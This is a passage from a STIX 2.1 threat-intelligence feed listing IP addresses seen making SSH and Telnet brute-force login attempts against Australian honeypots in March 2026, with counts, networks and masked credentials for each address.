      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T10:15:14.000Z",
      "valid_until": "2026-04-25T10:15:11.000Z"
    },
    {
      "created": "2026-03-24T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--d05bfb9d-bfc4-4065-a742-515a48775f68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T10:15:14.000Z",
      "valid_until": "2026-04-25T10:15:11.000Z"
    },
    {
      "created": "2026-03-24T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--86ccd1dd-3a6d-4c47-8752-684b8096137b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.186.154.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T10:15:14.000Z",
      "valid_until": "2026-04-25T10:15:11.000Z"
    },
    {
      "created": "2026-03-24T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--bbcda256-dc46-406a-a234-9d2d3faa35b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.12.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T10:15:14.000Z",
      "valid_until": "2026-04-25T10:15:11.000Z"
    },
    {
      "created": "2026-03-24T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a443f2ce-5f7d-4e8d-a1f6-0799c5e88f32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T11:15:14.000Z",
      "valid_until": "2026-04-25T11:15:11.000Z"
    },
    {
      "created": "2026-03-24T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--fdc493de-5e5f-4e67-be90-b3adcf5bbc7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T11:15:14.000Z",
      "valid_until": "2026-04-25T11:15:11.000Z"
    },
    {
      "created": "2026-03-24T12:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--6edc8b3d-3e91-4b8e-8ee3-8028e53ee440",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T12:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.39.147.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:15:27.000Z",
      "valid_until": "2026-04-25T12:15:01.000Z"
    },
    {
      "created": "2026-03-24T12:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24547. Organisation(s): Hebei Mobile Communication Company Limited.",
      "id": "indicator--70297e23-a5b0-4321-a29b-ab66ddd477b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T12:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.61.193.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:15:27.000Z",
      "valid_until": "2026-04-25T12:15:01.000Z"
    },
    {
      "created": "2026-03-24T12:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--56992b6e-3a85-4f32-9d43-cd2af2780494",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T12:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.171.143.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:15:27.000Z",
      "valid_until": "2026-04-25T12:15:01.000Z"
    },
    {
      "created": "2026-03-24T12:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--550dda77-e405-4b2d-9bec-e54cf7fca30d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T12:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.191.47.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:15:27.000Z",
      "valid_until": "2026-04-25T12:15:01.000Z"
    },
    {
      "created": "2026-03-24T12:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD..",
      "id": "indicator--7353fdc7-33b4-4199-9df0-257425a77450",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T12:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.130.210.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:15:27.000Z",
      "valid_until": "2026-04-25T12:15:01.000Z"
    },
    {
      "created": "2026-03-24T12:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 33977. Organisation(s): Banat Telecom Satelit S.R.L..",
      "id": "indicator--9980644d-dc5a-4bac-94a5-0a0459b11d2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T12:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.39.253.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:15:27.000Z",
      "valid_until": "2026-04-25T12:15:01.000Z"
    },
    {
      "created": "2026-03-24T13:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--15255b05-3fcc-476d-a8e1-47ebc1064b47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T13:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.226.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T13:15:16.000Z",
      "valid_until": "2026-04-25T13:15:07.000Z"
    },
    {
      "created": "2026-03-24T13:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 53863. Organisation(s): I.D. Logique.",
      "id": "indicator--fd4d17f3-67b8-493e-97ba-5654f6a16b90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T13:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.128.238.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T13:15:16.000Z",
      "valid_until": "2026-04-25T13:15:07.000Z"
    },
    {
      "created": "2026-03-24T13:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--58660a20-be48-4c69-8a5a-f28f1e658aec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T13:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.193.123.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T13:15:16.000Z",
      "valid_until": "2026-04-25T13:15:07.000Z"
    },
    {
      "created": "2026-03-24T14:24:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--47de9b01-0ffe-4d87-83e9-13496c534a6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T14:24:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.117.251.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T14:24:34.000Z",
      "valid_until": "2026-04-25T14:15:11.000Z"
    },
    {
      "created": "2026-03-24T14:24:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e734c3e6-862e-40ca-9d19-0bc51de9a08c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T14:24:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.201.139.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T14:24:34.000Z",
      "valid_until": "2026-04-25T14:15:11.000Z"
    },
    {
      "created": "2026-03-24T14:24:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): 3**********4, ***, **. Passwords observed (masked): 1**4, 3**********4, X****!.",
      "id": "indicator--39396935-0e14-42da-8916-a6f6a144f610",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T14:24:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.133.212.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T14:24:34.000Z",
      "valid_until": "2026-04-25T14:15:11.000Z"
    },
    {
      "created": "2026-03-24T14:24:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--780afb67-01d5-48a4-8d08-e8a36223ecf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T14:24:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.18.49.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T14:24:34.000Z",
      "valid_until": "2026-04-25T14:15:11.000Z"
    },
    {
      "created": "2026-03-24T16:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 265100. Organisation(s): FSI Telecomunicacoes LTDA. Usernames observed (masked): k******e, s****v. Passwords observed (masked): k**********s, p******d.",
      "id": "indicator--3dc8438c-cd65-480b-bec1-39bdf4fa4bb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T16:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.254.80.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T16:15:25.000Z",
      "valid_until": "2026-04-25T16:15:12.000Z"
    },
    {
      "created": "2026-03-24T16:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--000ae2bf-c79b-4715-b7aa-a506f7501078",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T16:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.249.29.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T16:15:25.000Z",
      "valid_until": "2026-04-25T16:15:12.000Z"
    },
    {
      "created": "2026-03-24T16:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): 3**********4, p****r, ***, b***n, e**n. Passwords observed (masked): 1******8, 3**********4, 3***********4, J********3, M*******3.",
      "id": "indicator--59d95516-558a-46d5-ad8e-135e368a947e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T16:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.239.208.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T16:15:25.000Z",
      "valid_until": "2026-04-25T16:15:12.000Z"
    },
    {
      "created": "2026-03-24T16:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a43ed3ed-55ff-4407-b5d6-1f403f6f914f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T16:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T16:15:25.000Z",
      "valid_until": "2026-04-25T16:15:12.000Z"
    },
    {
      "created": "2026-03-24T16:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--e29ace13-9264-4483-9097-a7dda4e246a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T16:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.232.42.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T16:15:25.000Z",
      "valid_until": "2026-04-25T16:15:12.000Z"
    },
    {
      "created": "2026-03-24T16:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 28797. Organisation(s): Technical University of Koszalin.",
      "id": "indicator--c1f65197-12f5-4e8b-8b3d-d2ad51d07359",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T16:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.108.185.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T16:15:25.000Z",
      "valid_until": "2026-04-25T16:15:12.000Z"
    },
    {
      "created": "2026-03-24T17:15:47.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited.",
      "id": "indicator--457239dc-2997-418f-a23a-a27c04c68076",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T17:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.124.250.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T17:15:47.000Z",
      "valid_until": "2026-04-25T17:15:11.000Z"
    },
    {
      "created": "2026-03-24T17:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--caa977bb-66b4-4fd3-87da-72b9534368f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T17:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.92.240.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T17:15:47.000Z",
      "valid_until": "2026-04-25T17:15:11.000Z"
    },
    {
      "created": "2026-03-24T18:17:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 150215. Organisation(s): PT Era Bangun Indonesia.",
      "id": "indicator--e2a645d3-f896-4c1e-940e-ef816d36a1e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T18:17:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.13.138.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T18:17:12.000Z",
      "valid_until": "2026-04-25T18:15:01.000Z"
    },
    {
      "created": "2026-03-24T18:17:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--7577e7f3-8f9d-49e9-a989-af67de78df37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T18:17:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.28.194.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T18:17:12.000Z",
      "valid_until": "2026-04-25T18:15:01.000Z"
    },
    {
      "created": "2026-03-24T18:17:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***.",
      "id": "indicator--9b560300-d2bc-46c8-8016-ca6439e9c57b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T18:17:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.203.194.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T18:17:12.000Z",
      "valid_until": "2026-04-25T18:15:01.000Z"
    },
    {
      "created": "2026-03-24T18:17:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--a421ceac-3d1a-41fd-8bb5-e7a85bed5cbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T18:17:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.66.2.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T18:17:12.000Z",
      "valid_until": "2026-04-25T18:15:01.000Z"
    },
    {
      "created": "2026-03-24T18:17:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--144c9e78-db49-4b58-bc4d-494547409220",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T18:17:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.14.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T18:17:12.000Z",
      "valid_until": "2026-04-25T18:15:01.000Z"
    },
    {
      "created": "2026-03-24T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UG. ASN(s): 328939. Organisation(s): SIL6-AS. Usernames observed (masked): p***l. Passwords observed (masked): p*******s.",
      "id": "indicator--35f3c285-7162-416c-9b76-6469db87a346",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.218.89.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:15:15.000Z",
      "valid_until": "2026-04-25T19:15:01.000Z"
    },
    {
      "created": "2026-03-24T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--bbb75032-6a91-454a-bdf7-03e73a0bff1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.179.67.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:15:15.000Z",
      "valid_until": "2026-04-25T19:15:01.000Z"
    },
    {
      "created": "2026-03-24T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--244c60b1-53bc-4f4a-a77a-bb4ba71b8597",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:15:15.000Z",
      "valid_until": "2026-04-25T19:15:01.000Z"
    },
    {
      "created": "2026-03-24T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--60cb51e0-597c-4b58-85ea-306e44562dc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.37.149.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T20:15:07.000Z",
      "valid_until": "2026-04-25T20:15:01.000Z"
    },
    {
      "created": "2026-03-24T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--be615e8f-0124-4be9-bc7b-ddda22194f9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.253.69.0']",
      "pattern_type": "stix",
